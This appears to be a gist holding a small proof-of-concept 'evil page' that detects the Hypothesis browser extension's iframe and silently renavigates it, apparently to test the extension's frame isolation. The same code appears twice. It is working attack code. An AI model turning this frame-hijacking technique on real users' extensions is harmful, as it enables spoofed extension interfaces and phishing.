robertknight/evil-page.html Secret

## evil-page.html
<html>
<head>
  <meta charset="UTF-8">
</head>
<body>
  I am an evil page.
  <script>
    const mo = new MutationObserver(() => {
      const frames = Array.from(document.body.querySelectorAll('iframe'));
      frames.forEach((f) => {
	// Crude test to check if the iframe belongs to the
	// H extension. There are many other ways it could be done.
        if (f.src.match(/chrome-extension/) && !f.haxxored) {
          setTimeout(() => {
            f.contentWindow.location = 'https://hypothes.is/app.html';
            f.haxxored = true;
          }, 100);
        }
      });
    });
    mo.observe(document.body, {
      childList: true,
      subtree: true,
    });
  </script>
</body>
</html>
	<html>
	<head>
	<meta charset="UTF-8">
	</head>
	<body>
	I am an evil page.
	<script>
	const mo = new MutationObserver(() => {
	const frames = Array.from(document.body.querySelectorAll('iframe'));
	frames.forEach((f) => {
	// Crude test to check if the iframe belongs to the
	// H extension. There are many other ways it could be done.
	if (f.src.match(/chrome-extension/) && !f.haxxored) {
	setTimeout(() => {
	f.contentWindow.location = 'https://hypothes.is/app.html';
	f.haxxored = true;
	}, 100);
	}
	});
	});
	mo.observe(document.body, {
	childList: true,
	subtree: true,
	});
	</script>
	</body>
	</html>